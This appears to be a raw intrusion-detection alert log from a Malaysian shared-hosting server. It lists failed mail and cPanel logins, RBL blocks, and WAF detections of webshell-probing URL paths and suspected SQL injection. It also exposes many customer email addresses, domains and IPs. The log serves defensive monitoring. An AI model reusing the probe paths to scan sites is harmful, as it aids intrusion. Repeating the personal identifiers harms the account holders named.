2026-01-13 09:23:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59030: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 09:23:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59030: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.43.56
country_id: 6290252
description:
Jan 13 09:24:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.43.56 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 113.211.56.81
country_id: 1733045
domain: www.box.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.62||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:26:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62169: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:26:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62169: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 09:27:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.80.86
country_id: 1269750
description:
Jan 13 09:27:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.80.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.4
country_id: 732800
description:
Jan 13 09:27:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.4
country_id: 732800
description:
Jan 13 09:28:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.154.5.185
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=739548 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.124.11.174
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=541954 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.191.143.110
country_id: 1733045
description:
[2026-01-13 09:34:20 +0800] info [webmaild] 42.191.143.110 - nazurah@fkr.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 223.74.103.105
country_id: 1814991
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-34.223.74.103.105||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.119.17
country_id: 1733045
description:
[2026-01-13 09:36:48 +0800] info [webmaild] 175.142.119.17 - admin@pftfood.com "GET /cpsess0297360586/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.174.58.244
country_id: 6252001
domain: www.krisfood.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.0.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.191.46.26
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=680282 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-13 09:39:17 H=(localhost.localdomain) [78.153.140.207]:55208 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.177
country_id: 3865483
description:
Jan 13 09:41:19 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.228
country_id: 3865483
description:
Jan 13 09:41:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.36
country_id: 798544
description:
Jan 13 09:41:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/keyword/img/testimonial.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.224.66.224
country_id: 3895114
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=268452 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.36
country_id: 798544
description:
Jan 13 09:42:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.148.98.185
country_id: 3703430
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=318025 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.28.149.53
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=817953 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:7.62||T:APACHE||MVN:ARGS:conditions.links.links.target.class_name||MV:node-output-point bottom center||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: More than 1000 JSON keys||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:formula.formula.formula||MV: if(  radio_with_img_field_id_0 !=0 && dropdown_with_img_field_id_1 !=0  && total_field_id_16 <  total_field_id_12 ){\n    total_field_id_12 \n }else  if(  radio_with_img_field_id_0 !=0 && dropdown_with_img_field_id_1 !=0 && total_field_id_16 >=  total_field_id_12 &&  total_field_id_16 < total_field_id_13  ){\n    total_field_id_16\n }else\n{0} ||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: PHP Injection Low value||MV: Math.round( total_field_id_35 )/100||MVN:ARGS:formula.formula.formula||RSV:7.62||T:APACHE||SC:/home2/woh/wcc.com.my/wp-admin/admin-ajax.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:formula.formula.formula||MV: if(  radio_with_img_field_id_0 !=0 && dropDown_with_img_field_id_1 !=0  && total_field_id_16 <  total_field_id_12 ){\n    total_field_id_12 \n }else  if(  radio_with_img_field_id_0 !=0 && dropDown_with_img_field_id_1 !=0 && total_field_id_16 >=  total_field_id_12 &&  total_field_id_16 < total_field_id_13  ){\n    total_field_id_16\n }else\n{0} ||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.122
country_id: 3865483
description:
Jan 13 09:44:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.135.2.54
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-more.php?id=588460 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.122
country_id: 3865483
description:
Jan 13 09:44:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.60.252
country_id: 2300660
description:
Jan 13 09:44:24 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.60.252 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.201.152
country_id: 1814991
domain: indfinitydesign.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-13 09:45:16 +0800] info [webmaild] 175.144.229.115 - claimservice@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 09:45:38 H=([45.144.212.242]) [45.144.212.242]:49813 F=<no_reply@admin.com> rejected RCPT <joseph@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.30
country_id: 690791
description:
Jan 13 09:47:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.125
country_id: 3865483
description:
Jan 13 09:46:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.30
country_id: 690791
description:
Jan 13 09:47:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.30 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - astlbu@astlog.com.my [01/13/2026:01:48:08 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: astlbu@astlog.com.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.40.64.181
country_id: 1269750
description:
Jan 13 09:48:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.40.64.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.59
country_id: 3865483
description:
Jan 13 09:48:41 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.59 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-13 09:48:44 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - boss@astlog.com.my [01/13/2026:01:49:45 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: boss@astlog.com.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.157
country_id: 3865483
description:
Jan 13 09:49:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 09:51:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59065: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 09:51:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59065: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.142
country_id: 3865483
description:
Jan 13 09:53:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:54:40 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62486: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.153.149.98
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/productt.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-13 10:01:25 +0800] info [webmaild] 115.134.149.232 - regalacc@smartcable.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.64.30.151
country_id: 1643084
description:
Jan 13 10:02:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.64.30.151 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.189.8.120
country_id: 2750405
description:
2026-01-13 10:03:44 2510022 [Warning] Aborted connection 2510022 to db: 'unconnected' user: 'unauthenticated' host: '206.189.8.120' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.182.73.131
country_id: 1835841
description:
Jan 13 10:04:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.182.73.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.200
country_id: 3469034
description:
Jan 13 10:05:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.200 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/sitemap.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.200
country_id: 3469034
description:
Jan 13 10:05:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.200 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 165.154.227.72
country_id: 1668284
description:
2026-01-13 10:06:19 2510110 [Warning] Aborted connection 2510110 to db: 'unconnected' user: 'unauthenticated' host: '165.154.227.72' (This connection closed normally without authentication)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.168.77.115
country_id: 6252001
description:
Jan 13 10:06:24 sv3 pure-ftpd[4146344]: (?@104.168.77.115) [INFO] New connection from 104.168.77.115


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.92.164.28
country_id: 6252001
domain: www.tujusetia.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.156.31.141
country_id: 1814991
description:
2026-01-13 10:06:52 dovecot_login authenticator failed for H=([61.156.31.141]) [61.156.31.141]:58854: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.240
country_id: 3469034
description:
Jan 13 10:06:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.48.77.157
country_id: 1814991
description:
Jan 13 10:06:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.48.77.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.48.77.157
country_id: 1814991
description:
2026-01-13 10:07:01 dovecot_login authenticator failed for H=([223.210.0.110]) [111.48.77.157]:41223: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 165.154.227.43
country_id: 1668284
description:
Jan 13 10:06:45 sv3 pure-ftpd[4147004]: (?@165.154.227.43) [INFO] New connection from 165.154.227.43


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 68.183.21.143
country_id: 6252001
description:
2026-01-13 10:06:49 2510133 [Warning] Aborted connection 2510133 to db: 'unconnected' user: 'unauthenticated' host: '68.183.21.143' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.249.234
country_id: 798544
description:
Jan 13 10:07:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.249.234 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.242.144.218
country_id: 3017382
domain: kdiballoon.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.62||T:APACHE||RA:38.242.144.218||TA:38.242.144.218||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-13 10:08:07 H=(localhost.localdomain) [78.153.140.207]:40172 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.220.148.222
country_id: 2017370
description:
Jan 13 10:08:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.220.148.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.220.148.222
country_id: 2017370
description:
2026-01-13 10:08:22 dovecot_login authenticator failed for H=([95.220.148.222]) [95.220.148.222]:7022: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/survey-meter.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.236.51.225
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&sub=38 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.172
country_id: 953987
description:
Jan 13 10:10:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.228.164.236
country_id: 2017370
description:
Jan 13 10:11:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.228.164.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.228.164.236
country_id: 2017370
description:
2026-01-13 10:11:35 dovecot_login authenticator failed for H=([193.228.164.236]) [193.228.164.236]:58314: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-13 10:11:11 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 10.1.14.100
description:
Jan 13 10:13:44 sv3 sshd[4171710]: Accepted publickey for root from 10.1.14.100 port 53614 ssh2: RSA SHA256:WdDh84n9i7OwfL83TC4Q9y94bNOmxYGU2yeZfrTsxL0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.209.152
country_id: 1269750
description:
2026-01-13 10:14:14 dovecot_plain authenticator failed for H=(tracons) [113.193.209.152]:42290: 535 Incorrect authentication data (set_id=info@nmahir.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.216.101.167
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=123963 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.236.137.159
country_id: 1880251
description:
Jan 13 10:14:49 sv3 pure-ftpd[4175431]: (?@172.236.137.159) [INFO] New connection from 172.236.137.159


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.236.137.159
country_id: 1880251
description:
Jan 13 10:15:32 sv3 pure-ftpd[4178960]: (?@172.236.137.159) [INFO] New connection from 172.236.137.159


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.63.89
country_id: 1814991
description:
Jan 13 10:18:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.63.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.236.137.159
country_id: 1880251
description:
Jan 13 10:18:57 sv3 pure-ftpd[4189445]: (?@172.236.137.159) [INFO] New connection from 172.236.137.159


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.63.89
country_id: 1814991
description:
2026-01-13 10:18:58 dovecot_login authenticator failed for H=([111.26.63.88]) [111.26.63.89]:56770: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 10:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59088: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.236.137.159
country_id: 1880251
description:
Jan 13 10:19:11 sv3 pure-ftpd[4190068]: (?@172.236.137.159) [INFO] New connection from 172.236.137.159


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 10:19:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59089: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


